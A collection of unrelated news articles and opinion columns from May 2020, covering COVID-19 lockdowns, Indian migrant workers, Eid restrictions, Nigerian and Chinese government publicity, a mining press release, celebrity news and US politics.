He will simply pick up his jhola and walk back home. What's a 'fakir' got to lose?

It was this instinct that shook him the moment that 'suit-boot' description was flung at him.

This is why he made such an about-turn in his approach to the political economy.

The business-friendly Gujarat-model was dumped.

Schemes like MGNREGA were no longer ridiculed, but strengthened.

He knew the real VIPs in the life of an Indian politician who needed to win elections, not just for himself but 300 others in the Lok Sabha, were the poor, or the larger working classes.

Not the urban elites, or the middle classes.

How come then that all his messaging in the coronavirus season so far has been directed only at these middle classes and elites? Play back his speeches and 'Mann ki Baat' addresses.

He's mostly reaching out to them. Even when he's advising or sermonising. Our economy will pay a heavy price, he says.

Some Mr Shah or Mr Sharma or Mr Agrawal in the cities will keep that in mind when their fortune is wiped out on the stockmarkets.

What does it mean to the daily wage labourer who suddenly finds himself on the street, no better than a starving vagrant, pushed around by the police, until he begins his Biblical long march home?

IMAGE: A migrant deboards a train through its emergency window at Danapur station in Patna, May 20, 2020. Photograph: PTI Photo

Check out all his invocations: Taali, thali, torches, lights.

Come to your balconies or verandahs.

It looks like in its sixth year, Mr Modi's politics has become so smug that it is confusing the 'balconied classes' for real India.

In which case, Resident Welfare Associations, the new dictatorial monstrosity of elite, urban India, are justified in their new-found arrogance.

Now, how many voters in India have balconies?

How many even have proper homes?

A non-leaking roof over their heads?

How many tens of millions stay away hundreds of miles from their families, 14 to a matchbox of a room with no window.

Then the home ministry says nobody should come out of their homes after 7 pm.

What percentage of Indians can physically make such a distinction between what is inside and outside their homes?

It's been eight weeks since this exodus began, and no one prominent has reached out to these millions with an arm of sympathy.

It is as if they do not exist.

IMAGE: Migrant workers wait in a queue while being lodged at a camp by the Uttar Pradesh government at Dadri in Gautam Buddha Nagar district, May 20, 2020. Photograph: Atul Yadav/PTI Photo

They are the problem of their state governments.

Good riddance from the big cities where the most valuable Indians live.

And if they take the virus to their villages, what can we do? They should have known better.

Of course, state governments, using the police, would try and detain them in temporary sub-human quarantine camps.

Even when, after weeks, a few trains are arranged for those still not halfway home on their feet, the Centre would pass the buck to the states to pay for their tickets.

And then start a tu-tu/main-main over who's at fault for the confusion.

You can't make the poor rich overnight.

Nor can you fly millions in planes. But remember that word we had said we will come back to: Empathy.

Who in the BJP is speaking in that language to these millions? Someone putting an arm of understanding, warmth, comfort around them? The chief ministers of Uttar Pradesh, Jharkhand, and Chhattisgarh are the only ones doing something.

They haven't lost their political instinct, ear to the ground.

It is tough to believe that Mr Modi might have.

By Special Arrangement with The Print
Muslims around the world are preparing to celebrate Eid under the shadow of a coronavirus resurgence in the Middle East and warnings of a 'catastrophe' in Yemen.

The three-day Eid al-Fitr celebrations begin on May 23, marking the end of the holy fasting month of Ramadan for 1.8 billion Muslims worldwide.

But this year the usual lavish celebrations of huge family parties and meals will be largely banned as authorities seek to prevent new outbreaks of the killer coronavirus.

Some countries, including Turkey, Iraq and Jordan, will impose round-the-clock curfews for the duration of the holiday.

Security men wearing protective masks stand on a street during a 24-hour curfew amid concerns about the spread of the coronavirus disease in Yemen

In Saudi Arabia, home to the holy cities of Mecca and Medina and the largest Arab gulf country, people will only be allowed to leave their homes to buy food and medicine.

Pictures from earlier this month showed the central courtyard of the Great Mosque of Mecca deserted as Muslims were forced to celebrate Ramadan in isolation amid the unprecedented lockdown measures.

The courtyard is usually at its busiest during Hajj but remains open all year round for other pilgrimages meaning it is almost never empty.

Worshippers perform Taraweeh prayer at Kaaba in the Grand Mosque on the first day of the holy month of Ramadan during the outbreak of coronavirus - a far cry from the huge crowds usually seen in the central courtyard

Other Middle Eastern countries have faced criticism over their lockdown measures.

Authorities in Iran, which has endured the deadliest outbreak in the Middle East, have imposed few restrictions ahead of the holiday aside from cancelling mass prayers in Tehran traditionally led by Supreme Leader Ayatollah Ali Khamenei.

Iran has faced a backlash for not imposing the kind of lockdown seen elsewhere in the region, but authorities say they had to concede the effects on an economy gutted by US sanctions.

Iran has reported nearly 130,000 cases and more than 7,000 deaths, but the rate of new infections has declined in recent weeks.

The widespread restrictions come as medics in Yemen warn of an unfolding 'coronavirus catastrophe', France24 reported.

Many of those infected in the war-torn country never even make it to hospital, the charity Doctors Without Borders warned.

And the World Health Organisation has said that in the worst-case scenario, half of Yemen's 30million-strong population could be infected with the virus and more than 40,000 could die.

A shopping mall official checks the body temperature of a customer arriving for shopping ahead of the Eid al-Fitr festival which marks the end of the Muslim holy month of Ramadan in Karachi, Pakistan

In Indonesia, the largest Muslim-majority country with a population of 270million, President Joko Widodo said restrictions would remain in place through the holiday.

The country has a population of 270 million people and has seen more than 18,000 cases, including around 1,200 deaths.

'I emphasise, there is no relaxing the policy of large-scale social restriction yet,' Mr Widodo said during a virtual Cabinet meeting this week.

Since the start of the Ramadan, the government has imposed an outright ban on 'mudik', a holiday tradition in which millions of Indonesians living in big cities flock to their hometowns to celebrate with relatives.

Health experts had warned it could set off a wave of new cases.

'This ongoing pandemic has changed our tradition, separated us in celebrating Eid,' said Noor Hidayat Asri, a civil servant in Indonesia's capital, Jakarta.

'We are like dealing with a merciless and invisible enemy this time around.'

Among other countries, Malaysia will allow people to visit relatives who live nearby but gatherings are limited to 20 people.

Visitors are urged to wear face masks and to refrain from hugging, kissing and sharing plates.

While some mosques have reopened, congregations remain limited to 30 people.

India's 172 million Muslims are also preparing for a subdued holiday, with large gatherings banned.

Muslim devotees offer Jummat-ul-Vida prayers on the last Friday ahead of the Eid al-Fitr festival which marks the end of the Muslim holy month of Ramadan at a mosque in Karachi

They have faced heightened stigma, threats and boycotts by many Hindus, who blame the local outbreak on a three-day convention of Islamic missionaries held in March.

In some states, Indian Muslims have launched campaigns urging people to refrain from buying new clothes for the holiday and instead give to the needy.

In Iraq, the government has allowed most businesses to reopen in the last few weeks but plans to reinstate a 24-hour curfew over the holiday and streets were busy in the days leading up to Eid as people shopped for clothes, toys and home appliances.

But even in countries that have largely reopened, the holiday will not be the same.

Although most restrictions have lifted in Jerusalem, the Al-Aqsa mosque, which is the third holiest site in Islam, will remain closed until after the holiday.

Muslim men pray on east Jerusalem's Mount of Olives, overlooking the Dome of the Rock and al-Aqsa mosque compound, which remains shut to prevent the spread of coronavirus during the holy month of Ramadan on 22, 202

Shopkeepers in the Old City, which has been emptied of tourists and pilgrims since March, are reeling from the effects of six weeks of lockdown.

The Jafar family's famous sweets shop in the Old City is normally a hive of activity, with tourists and locals enjoying knafeh, a syrupy cheese-filled pastry, but these days the seating area is empty and dark as only takeout is allowed.

Shop owner Ali Jafar said business has plummeted by more than two thirds, forcing them to lay off 10 workers.

In Egypt, authorities have extended the nighttime curfew, which will now begin at 5pm instead of 9pm, and halted public transportation until May 29. Shopping centres, beaches and parks, which would ordinarily be packed, will be closed.

Lockdown measures among countries celebrating Eid Saudi Arabia has enforced a nationwide 24-hour curfew starting Saturday that will continue into next week in a bid to curb rising cases. Turkey is imposing a four-day national lockdown over Eid and is extending travel restrictions across 15 provinces for 15 days. Qatar has announced the closure of non-essential shops for 10 days and has told all citizens they must download a tracking app to monitor those coming into contact with people who have tested positive for coronavirus. Those who don't comply with the rules face a three-year prison sentence. In Malaysia people will be allowed to visit relatives who live nearby but gatherings are limited to 20. Iran's top health official Saeed Namaki appealed for people not to travel for Eid, state TV reported. Indonesia's President Joko Widodo said lockdown restrictions would remain in place through the holiday Advertisement

Manal Zakaria, who lives in the city of Alexandria on the Mediterranean coast, said her family usually celebrates by gathering for big meals, singing, dancing and taking group photos.

'I am very, very, very sad because I will not be seeing my siblings and their children,' she said.

'No matter how much we talk over the phone, there is nothing like coming together.'

In war-ravaged Somalia, authorities have urged the cancellation of large gatherings and celebrations, but it's unclear whether that will be enforced.

Shoppers have packed into markets and shopping centres in the capital, Mogadishu, in recent days.

In the United Arab Emirates parks and private beaches will be open but groups will be limited to five people.

Children under 12 and adults over 60 are barred from shopping centres in Dubai and Abu Dhabi, and other restrictions limit the number of people allowed inside with restaurants only allowed to operate at 30 per cent of capacity.

Despite the more relaxed approach aimed at buoying the economy, the government announced a nationwide curfew during Eid al-Fitr lasting from 8pm to 6am.


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Medical experts said the decision to impose a quarantine was useful but overdue. It would have been more effective three months ago, when people arriving from Italy and other parts of Europe brought the virus into Britain.

Of course, it is a valid move now, but what was right in February-March is also right in May-June, said Bharat Pankhania, an expert in infectious diseases at the University of Exeter Medical School. They needed to do it when the virus was at a much earlier stage.

Dr. Pankhania said that Britains decision to sequester visitors from China early in the outbreak was valuable, but that the governments decision not to do the same with European arrivals offset the benefits of that decision and contributed to a massive spread of the virus in the population.

It strikes me as being very late and very hard to enforce, said Anand Menon, professor of European politics and foreign affairs at Kings College London, who noted that in New Zealand quarantine took place in managed facilities.

Here you have to give an address and the police might pop by, he said. But if you live at that address with five others, does the quarantine apply to them and, if not, what is the point?

In handling the pandemic, Britain has often gone its own way, entering lockdown after many other nations had already done so and lifting such measures more slowly. Most countries restricted travel earlier and now have lower rates of infection than Britain, which has suffered more than 36,000 deaths.
<! Buhari >

By Femi Adesina

Next week, the Muhammadu Buhari administration would be exactly five years in office. Four full years of a first term, and one year accomplished in the second term of four years.

In five years, President Buhari has touched Nigeria in diverse ways, despite myriad of challenges; economic, security, political, social, and many more.

The fact sheet will be unfolded few days hence, but today, as build up to the anniversary season, lets dwell on some unassailable truths that can never be swept away. As Sir Winston Churchill, former British Prime Minister said; Truth is incontrovertible. Ignorance may deride it, panic may resent it, malice may destroy it, but there it is.

The President and his team are steadily and painstakingly retooling Nigeria. Out of sheer and deliberate ignorance, some people deride it, saying we see nothing, we hear nothing. Yes. When you have become deliberately blind, you can see nothing, even when it is thrust before your very eyes. You wont see it. When you have become willfully deaf, when it is noised to your hearing daily, you wont hear.

Some other people do theirs out of panic. Shall it be said that what Napoleon couldnt do, has been done by that simple, unassuming man from Daura? Can anything good come out of Nazareth? Daura of all places. That small place. Not a man from a major city. And he wants to be recorded in history as the man who turned Nigeria right side up. They resent it out of panic.

Yet some others operate out of malice. He is not of my ethnic stock. Nor of my religion, language, political party. Why must Nigeria work under him? It wont happen. We wont see anything, nor hear anything. In fact, he is doing nothing. The country is even worse off than he met it five years ago.

There is a quote often attributed to John Adams, a former American President, though some people claim it was not original to him. It goes thus: Facts are stubborn things; and whatever may be our wishes, our inclinations, or the dictates of our passions, they cannot alter the state of facts and evidence.

A number of times, I have written about a private journey I took to Onitsha, in Anambra State, last December. I was on the same flight with the Obi of Onitsha, His Royal Highness Igwe Nnaemeka Alfred Achebe. When we landed at Asaba, and I had paid him royal courtesies, he asked me to give the thanks and appreciation of his people to the President on the Second Niger Bridge, currently under construction. For many years, many administrations had made unfulfilled political promises on the project.

As you drive on the Niger Bridge, just look to your right, and you will see the new bridge coming up, the revered monarch had said. Please tell Mr President that we are very happy, and we thank him.

I saw the Second Niger Bridge, and it kindled the joy kiln in my heart. But you know what? Some people pass on the 1965 Niger Bridge, see the new one in the works, and just pretend not to. Some others see it, and they are angry. Will this Daura man succeed where others have failed? But facts are stubborn things. Truth is incontrovertible. Ignorance may deride it, panic may resent it, malice may destroy it, but there it is.

Have you seen the Owerri Interchange lately? It is the 1.6 kilometers bridge and 10.3 kilometers highway being built by Julius Berger, at Onitsha/Owerri road, Obosi junction. It will lead to the Second Nigeria Bridge.

In March, before the COVID-19 pandemic caused national emergency and halted the project, Works and Housing Minister, Babatunde Raji Fashola (SAN) visited. Very impressive. Now, heres the news:

As part of the Phase 1 of the easing of lockdown occasioned by Coronavirus in the country, work is restarting on 53 infrastructure projects in 26 states, across the country. Despite the crash in revenue due to the collapse of oil prices in the international market, 11 contractors have been mobilized back to site in 26 states. And the Owerri Interchange is one of the scenes of action.

The Second Niger Bridge is projected to be completed in the lifetime of this administration, in fact by February 2022. The man from Daura will go into records as the person that did it, with Fashola as the midwife. Facts are stubborn things.

In Phase 2 of the easing of the lockdown, you know what will happen? The Federal Roads Maintenance Agency (FERMA) will roll out 92 repair works across 24 states in the country. That will be different from the 53 projects in 26 states. Nigeria will be one huge construction site, at a time the economy is down, and revenue has shrunk considerably. That is the hallmark of a government out to serve the people, come rain or shine. Minister Fashola says the objective is to get all those depending on daily living back to work, when the COVID-19 is finally contained.

Strides in agriculture will not stop. Nigeria is on the verge of food self-sufficiency. Rice, beans, maize, millet, all grains, we import none, unlike in the past. What if President Buhari had not invested in agriculture right from 2015? How would we have survived at a time like this? Where would we run to? We run to the sea, the sea would be boiling. We run to the bush, the bush would be burning. We run to the rocks, the rocks would be cracking. Where would we have run to? Yet some people say: we cant even see what the government is doing. Yes, willfully blind people wont see. But facts are stubborn things.

What of railway lines criss-crossing the country? Lagos to Ibadan is ready. Abuja to Kaduna had been in operation.Ibadan to Kano is in the works.

Roads? Lagos/Ibadan Expressway is 61% completed. Abuja/Kano is bursting forth. Enugu/Port Harcourt. And many others. In fact, there is a federal road project ongoing in almost every state in the country.

Airports. New terminals at Abuja, Kano, Port Harcourt. Many others under construction

Solid minerals? Contribution to Federation Account In 2015 was N700 million. In 2016, it went up to N2 billion,and N5 billion in 2017. It hasnt stopped growing since then.

We have a Social Investment Programme that is the biggest and most ambitious in Africa. President Buhari recently directed that those on the social security register be increased from 2.6 million households to 3.6 million. Yet, all that some people can do is pick holes. They forget that there was a time in recent history that the country didnt have a social security register at all. They wont even let the one that has been established grow.

Corruption is being fought to a standstill. The same with insecurity in different parts of the country. External reserves are growing at a time of economic crisis. Yet some people dont see what the government is doing. But those who see, and hear, are full of appreciation.

True, facts are stubborn things. Truth is incontrovertible. Ignorance may deride it, panic may resent it, malice may destroy it, but there it is.

-Adesina is Special Adviser to President Buhari on Media and Publicity
In the first 30 days since seeing their first patient, the number of children testing positive to COVID-19 at an Australian tertiary pediatric hospital has been low and none who contracted the virus required in-hospital treatment, according to a new study.

The research, led by the Murdoch Children's Research Institute (MCRI) and published in Emergency Medicine Australasia, is the first Australian study to examine the rate of COVID-19 in children and adolescents presenting to an Australian hospital.

MCRI's Dr Laila Ibrahim said the study was reassuring for parents with children presenting to hospital with the usual childhood acute respiratory illnesses such as asthma, croup and bronchiolitis, that at this time it was very unlikely they have COVID-19.

Dr Ibrahim said parents should also not delay seeking hospital treatment for their children due to fears of contracting the virus.

The data shows that many worried parents are coming to the hospital when their child has a cough or fever, but of over 400 children tested, only four tested positive to COVID-19. This study shows that Australia has responded extremely well to the threat. Hospitals are a safe place with a very low risk of being exposed to COVID-19, and community transmission over the course of the study period was also low." Dr Laila Ibrahim, MCRI

But Dr Ibrahim said despite the low number of cases to date locally, overseas data had shown that children could still become severely unwell with COVID-19 and there shouldn't be complacency.

The four-week study included 434 patients, aged 0-18 years, who presented with COVID-19 symptoms to the emergency department or the respiratory infection clinic of a major paediatric hospital. The study started after the first positive case was confirmed at the hospital on March 21.

None of the four positive children were admitted to hospital, developed severe symptoms or had significant additional medical conditions. They all recovered within two weeks after experiencing mild upper respiratory symptoms like a sore throat. Only one was managed under the Hospital-in-the-Home program.

MCRI Dr Shidan Tosif, who oversaw follow-up with the families, said the data highlighted the success of outpatient management for COVID-19 positive patients.

"The patients were not admitted to hospital after having a clinical assessment, knowing that their COVID-19 test may later return a positive result," he said. "We were confident that treating children with COVID-19 in the home was the best option."

Dr Tosif said so far there were no reported cases of the multisystem inflammatory syndrome similar to Kawasaki disease that have been described overseas.

"Australians have participated so well in physical distancing measures that we expect to see no or low numbers of patients with this rare complication, even though we are watching very, very carefully for it," he said.

Researchers from the University of Melbourne, The Royal Children's Hospital and Soonchunhyang University Cheonan Hospital in South Korea also contributed to the findings. The research study was approved by the institutional Human Research Ethics Committee.
I own a small Napa business on First Street, Calamity Jane's Trading Co. Recently I created a charity named We Are Napa. The purpose is to benefit small Napa businesses and the community in whole.

It was created with a friend who founded the charity in Midland, Michigan, my home town. The premise of the business is an online store where any Napa business that wants to participate, can at no cost! Supporters of that business go on a web store, purchase a 'We Are Napa t-shirt or other items and then choose which Napa business or charity they want the donation portion to go to.

The first few days the program was widely received and had excellent participation. Several days into the program I was met with social media kick back that our Napa charity was outsourcing labor and sales to Midland and not supporting local business. This is a total miss-characterization of the facts and I want our Napa community to understand why I made the decisions I made.

First, there was no discussion of any community-level organizations working on coming together to help our Napa small businesses. The only conversations were what government programs were coming and if you qualified or not.

I, like many, did not qualify as a business or individual. I have no employees and have no payroll. I have reinvested every cent into my business. The only money that did not go back in my business was donated to local Napa community charities.

I was made aware of a charity in my hometown, Midland, Michigan, that was beyond successful and making a real difference. When I called to find out the details, I was provided an offer. They were expanding the charity to other communities and would I like to be the first to implement outside of their local area?

I would pay for the setup of the charity web-store, logistical cost and fees but after that there was no cost. The charity had taken care of all of the supply chains, web and social media they had hired the C.P.A. and had taken care of the tax issues. Everything was legal and transparent.

Our Napa businesses would not even have to deal with the shipping or receiving of goods. They just market themselves and see the support they received and the money that was committed to them

My husband and I discussed the charity and our concern that it was not Napa based and using Napa skills or goods. We determined that over a month or more of work had already been completed and that it was far more efficient to pay the charity to run and manage the program from there, rather than rebuilding it here.

In addition, we were concerned, as has proven true from the vocal minority asking why their business was not allowed to be the supplier, that the fairness to business would be skewed. How could we give the entire charity business to one Napa provider and leave all other similar business out in the rain?

Finally, the one supplier, yes, in Michigan, is going to be committed to this charity for some time. He is doing so at reduced margins and has adjusted his business to do so. By using this existing supplier, we believed our local businesses would be available for full paid work as business opened up and returned to them and not committed to another few months of charity work.

We chose to run with the existing program and benefit all participating Napa business equally and see an impact now and not in several months. In short, we did not outsource work we in-sourced a charity that was up, running, legal, transparent and most importantly, effective.

In closing, we stand by our decision to efficiently and effectively bring a charity benefiting Napa small business and our community here. We stand by the decision to use the existing supplier so that there was no unfair advantage to one Napa business over another. We stand by the fact we, with support from others who we will not name so they will not be open to hostility, brought support and unity to Napa business in under two weeks time from inception to implementation, with no government money involved. We also stand by the fact that participating business are seeing the results.

To those who have criticized and suggested boycotting this charity and my personal business, I have a message for you. My business paid for this charity to come to our community and I ask for nothing in return. I get noting more out of the charity than any other participating business.

I would hope that you would join with We Are Napa and register your business and help market you and our community. If Napa is such a united community and out to see the success of all instead of the individual, why are we having to address this issue at all?

Please, focus on the benefit, focus on the unity of it and what it can do for all of us and our community. If that is not enough for you, feel free to not participate but together we are strong.

United in our Community of Napa, We are Napa.

Cathryn Becker

Calamity Jane's Trading Co. of the Napa Valley
Due to the coronavirus pandemic, this year the holiday will be a lot quieter for Stack, the father of Marine Lance Corp. James Stack, who was 20 when he died Nov. 10, 2010, in Afghanistan. There will be no parade or ceremony, but Stack and others can tune in to a video already posted on YouTube that includes recordings of speakers, video clips of last years service and a reading of the names of the villages 58 veterans who were killed in combat.
The year 2020 marks the 30th anniversary of the development and opening-up of Shanghais Pudong New Area, and the final year for the metropolis to basically build itself into an international financial center.

Shanghai has made steady progress in the opening-up of its financial market. On March 20, five well-known foreign financial institutions held an online opening ceremony for their projects in the municipalitys Lujiazui financial hub. Among them, J.P. Morgan Securities (China) Company Limited is one of the first newly established foreign-controlled joint venture securities firms in the country, and Korean Reinsurance Company Shanghai Branch is the South Korean companys first business entity in China.

Another 18 multinational companies signed contracts expressing their intention to establish regional headquarters in the Pudong New Area on April 29.

Shanghai is at the forefront of Chinas reform and opening-up endeavor, and is one of the most attractive destinations for foreign investment in China, said Yoon Sung-Muk, general manager of the Shanghai branch of the reinsurance company.

Scaling up investment in Shanghai and China at large has become the consensus and common choice of a host of top international financial institutions. In the first quarter of the year, the city saw foreign capital inflows totaling about $4.67 billion, up 4.5 percent year on year. In particular, foreign capital inflows hit $1.87 billion in March in the city, up 20.8 percent year on year.

In total, actual foreign investment in Shanghai had reached $264.2 billion, and the regional headquarters of 730 foreign-funded multinational companies (MNC), as well as 466 foreign-funded R&D centers, had landed in the city by the end of March.

Shanghai has become the city on the Chinese mainland accommodating the largest number of foreign-funded MNC regional headquarters and R&D centers.

Gong Zheng, acting mayor of Shanghai, awarded certificates to a new batch of 21 foreign-funded MNC regional headquarters and R&D centers in the city on April 8. Two of the 31 companies are Fortune 500 companies, and three have set their Shanghai headquarters as their headquarters covering Greater China, Asia Pacific or larger regions.

Shanghai is not only the gateway to the Chinese market, but also an important part of the regional and global economy, said Tsuji Takayoshi, general manager of Itochu Textile (China) Limited, adding that the company will actively develop e-commerce business, and bring more brands to the Chinese market.

Shanghai has continuously improved its business environment. The city released the English and Japanese versions of documents such as the 28 measures to cushion companies in the service sector against the COVID-19 epidemic, in order to help foreign enterprises to resume work and production as soon as possible during the epidemic prevention and control period.

The Shanghai Municipal Commission of Commerce has visited 720 foreign-funded MNC regional headquarters in the city, solving about 98.7 percent of 553 problems they encountered.

On April 10, the city rolled out 24 measures to stabilize foreign investment, creating open and convenient investment environment for foreign investors.

Hua Yuan, director of the municipal commission of commerce, said the COVID-19 pandemic has resulted in severe impacts on the global economy, but the momentum of the steady growth for Chinas economy has never changed and will be an underlying trend going forward.

The China International Import Expo is showing increasing spillover effects, said the official, adding that a series of polices such as counter-cyclical regulation and further opening-up, as well as new consumption and demands will foster new areas of consumption and new growth points.
Three migrant workers, who were on their way to Bihar from Mumbai, were crushed to death by a dumper truck in Uttar Pradeshs Mirzapur district. The accident happened near Basahi Kala village in Lalganj police station area early on Friday morning.

According to the police, they were part of a seven-member group which had booked a car - a Toyota Innova - in Mumbai to go to their villages in Bihar. Three of them - Raju Singh (26), Saurabh Singh (28) and Amit Kumar Singh (23) - were residents of Gopalganj in Bihar and Vishal Kumar Paswan (27), Munna Singh (28), Vikram Kumar (27) and Rohit Paswan (23) belonged to Vashaili, said the police.

The police further said that the driver was feeling tired, so he stopped the vehicle along the road during wee hours of Friday. All of them got down and slept along the road. Thats then a speeding dumper truck ran over them. Raju, Amit and Saurabh died on the spot and Vishal, Rohit, Vikram and Munna were injured. The driver of the car is safe, the police said.

Station officer Lalganj, Harishchandra, said that the driver of the dumper has been taken into custody. A case has been registered against him for rash driving.

Divisional Commissioner Preeti Shukla and Inspector General of Police (IGP) Mirzapur range Piyush Srivastava, District Magistrate Sushil Patel and Superintendent of Police Dr Dharmvir inspected the spot.

Shukla said that they (the youths) should have stayed at a shelter home. The station officer has been instructed to conduct medical examination of the driver.

Chief Minister Yogi Adityanath has expressed grief over the death of three migrants in Mirzapur.

He announced monetary assistance of Rs 2 lakh each for the next of kin of the deceased. He also instructed district administration to ensure best possible treatment to the injured.

The chief minister also asked officials to send the bodies of the deceased to Bihar.
PR-Inside.com: 2020-05-21 23:51:37

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TORONTO, ON / ACCESSWIRE / May 21, 2020 / California Gold Mining Inc. (CSE:CGM) ("California Gold" or the "Company") announced today that it has closed the first tranche of a non-brokered private placement of up to 4,687,500 common shares at a price of $0.16 per common share for total proceeds of up to $750,000 (the "Offering").In the first closing the Company issued a total of 1,718,750 common shares for gross proceeds of $275,000. The Company will issue a further press release if and when it completes an additional closing of the Offering.The common shares issued as part of the Offering are subject to a four-month hold period expiring on September 22, 2020.The Company intends to use the proceeds of the offering for working capital and general corporate purposes.About California Gold Mining Inc.California Gold Mining Inc. is focused on continued development of a high-quality gold resource on its 100%-owned Fremont property in Mariposa County, California. The Fremont property consists of an entirely private and patented land package totaling 3,351 acres of historically producing gold mines, with a state highway, PG&E electric substation and abundant water present on the property itself. The Fremont property lies within California's prolific Mother Lode Gold Belt that has produced over 50 million ounces of gold. The Company purchased the Fremont property in March 2013.The Company also has an outdoor, high-CBD industrial hemp biomass cultivation operation on its Grove Road Farm property in Kendall County, Illinois.The Company's technical report in respect of the Fremont Property prepared pursuant to National Instrument 43-101 is available on SEDAR at www.sedar.com and on the Company's website at www.caligold.ca CAUTION REGARDING FORWARD-LOOKING INFORMATIONThis news release of California Gold contains statements that constitute "forward-looking statements". Such forward-looking statements involve known and unknown risks, uncertainties and other factors that may cause California Gold's actual results, performance or achievements, or developments in the industry to differ materially from the anticipated results, performance or achievements expressed or implied by such forward-looking statements. Forward-looking statements are statements that are not historical facts and are generally, but not always, identified by the words "expects", "plans", "anticipates", "believes", "intends", "estimates", "projects", "potential" and similar expressions, or that events or conditions "will", "would", "may", "could" or "should" occur. Readers are cautioned not to place undue reliance on forward looking statements in this press release. California Gold does not undertake any obligation to update these forward-looking statements in the event that management's beliefs, estimates or opinions, or other factors, should change, unless otherwise required by law.Neither the Canadian Securities Exchange nor its Regulation Services Provider (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release.For further information contact:Vishal Gupta, President & CEOTel.: 647-977-9267 x333 | Website: www.caligold.ca SOURCE: California Gold Mining Inc.
Rana Daggubati and Miheeka Bajaj officially confirmed their relationship by sharing a couple of pictures on social media. After their pictures came out, everyone thought that the duo got engaged, but it's not true.

Rana Daggubati and Miheeka Bajaj had their roka ceremony, where the actor was dressed in a white shirt and panche while his fiance wore a traditional saree, with an intricatly designed blouse. The Baahubali actor's roka ceremony was held amid the lockdown, and was attended by close family members. However, Naga Chaitanya and Samantha Akkineni were also a part of the celebratory moment.

The family picture from Rana Daggubati and Miheeka Bajaj's roka ceremony went viral on social media, and one can say that all are dressed up very nicely. Samantha Akkineni is looking elegant in a yellow dress while Naga Chaitanya looked dapper in a chequered white shirt and brown pant. Apart from Chay and Sam, actor Venkatesh Daggubati also graced the event of his nephew Rana.

Well, the picture is just perfect, however, a fan on Twitter pointed out that there is no social distancing. Commenting on the picture, a user wrote, "Where is social distancing". After all, everyone can be seen standing close to each other, and in the wake of the Novel Coronavirus crisis, this can be harmful.

As per the government's rule, people should maintain a distance of 1 to 6 meters between them. The gathering of more than 5 people at the same time is not allowed. However, this picture has indeed raised the question of following the rules of COVID-19.

Also Read : Rana Daggubati-Miheeka Bajaj Did Not Get Engaged; Read To Know The Reality!

Meanwhile, after roka, fans are curious to know when Rana Daggubati and Miheeka Bajaj will get married. Rana's father Suresh Daggubati told Hyderabad Times, "There's still time for all that and we are yet to decide the engagement and wedding dates. Yes, we are looking at a winter wedding, but in the wake of the ongoing corona crisis, there is still a lot that needs to fall in place. Once everything is finalised, we will make a formal announcement soon."

Also Read : Rana Daggubati's Fiance Miheeka Bajaj Tattooed 'R Loves M' On Her Hand

Now all we can do is wait for the official announcement!
The Republican-dominated Senate today confirmed Texas GOP Rep. John Ratcliffe as the new director of national intelligence (DNI). He becomes the fourth person to hold the job for Trump in less than one year.

The vote was 49-to-44, along party lines. Ratcliffe received more votes in opposition than any DNI in the entire 15-year history of the office.

Ratcliffe's verified Twitter account follows a number of right-wing fringe accounts, including 9/11 Truthers, and a handful promoting a QAnon conspiracy theory the FBI has labeled as terrorism. This should be disqualifying, but nothing matters.

What are Ratcliffe's qualifications? Well, the willingness to do whatever the impeached and manifestly unfit president tells him to.

"Blind loyalty," as Reuters quotes a source as describing it:

Ratcliffe is known as one of Trump's most loyal and vocal supporters in Congress. He was a major defender of the Republican president throughout last year's impeachment proceedings. He also lashed out at former special counsel Robert Mueller, who had investigated Trump, when Mueller testified in the House in July. According to media reports, Trump initially picked Ratcliffe to be DNI because he had liked his aggressive questioning of Mueller during that hearing. Senate Democratic Leader Chuck Schumer said last summer Ratcliffe had been selected because he had shown "blind loyalty" to Trump.

Ratcliffe is deeply unfit to be DNI. He has little experience, has trafficked in conspiracy theories, & is poisonously partisan in a job that requires objective professionalism to make sure executive branch & Congress have solid evidence to make decisions. https://t.co/UlxOi2vZcm  Senator Jeff Merkley (@SenJeffMerkley) May 21, 2020

Rep. John Ratcliffe's official, verified campaign Twitter account follows several accounts on the political fringe, including a 9/11 truther account and 4 promoting a QAnon conspiracy theory the FBI has ruled a potential source of domestic terrorism

'https://t.co/JAkKB5NyQj  The Daily Beast (@thedailybeast) May 5, 2020

Ratcliffe is just as unqualified and insidious as Grenell, but it is possible he'll be less competent at being insidious. https://t.co/6SyEqbMQ0A  Matthew Miller (@matthewamiller) May 21, 2020

Every Senate Democrat voted against confirming Ratcliffe as DNI but agreed to dispense with the rules to accelerate the vote so as to get rid of Grenell sooner. @julianbarnes @npfandos https://t.co/jC2QCulR3U  Peter Baker (@peterbakernyt) May 21, 2020

It's a sad day when a leader for national intelligence can't even get 50 votes in the U S Senate. Unbelievable. Trump era. Smh. Senate confirms John Ratcliffe as next director of national intelligence in sharply divided vote https://t.co/knGIkOt6xs  Claire McCaskill (@clairecmc) May 21, 2020

The Senate has voted 49-to-44 to confirm Rep. John Ratcliffe as the next director of national intelligence. He received more votes in opposition than any DNI in the 15-year history of the office. https://t.co/W2qwkcd6SN  Shane Harris (@shaneharris) May 21, 2020
President Donald Trump on Friday staged a dramatic unscheduled news conference to proclaim that he would require governors to reopen churches and other houses of worship and exempt them from coronavirus lockdowns.

Trump issued a brief statement  and avoided questions  in the White House briefing room, as more and mores states are reopening just before Memorial Day weekend, with some states like Maryland and Virginia yet to see downward slopes of infection that health experts want.

'Today I'm identifying houses of worship - churches, synagogue[s] and mosques - as essential places that provide essential services,' Trump said in the White House briefing room.

President Donald Trump said he is requiring governors to exempt churches and houses of worship from coronavirus lockdowns

To hammer home the point two days before Sunday, Trump mocked governors who have deemed establishments like liquor stores 'essential' stores that could remain open despite closures that hit houses of worship.

'Some governors have deemed a liquor stores and abortion clinics as essential, but have left out churches and other houses of worship. It's not right. So I'm correcting this injustice and calling houses of worship essential,' Trump said, reading from a statement.

'I call upon governors to allow our churches and places of worship to open right now,' he continued. But getting a waiver will be a tall order, he said.

'If there's any question, they're going to have to call me but they're not going to be successful in that call. These are places that hold our society together and keep our people united. The people are demanding to go to church synagogue, go to their mosque.'

A number of states  including those run by Trump allies  have kept liquor stores open among lockdown orders, and some state have shown upticks in drinking.

Pastor Emily Nesdahl leads a virtual Sunday service online broadcast due to the coronavirus disease (COVID-19) restrictions at Peace Lutheran church, featuring drawings of parishioners taped to the pews, in Burlington, North Dakota, U.S. April 26, 2020. Picture taken April 26, 2020. REUTERS/Dan Koeck

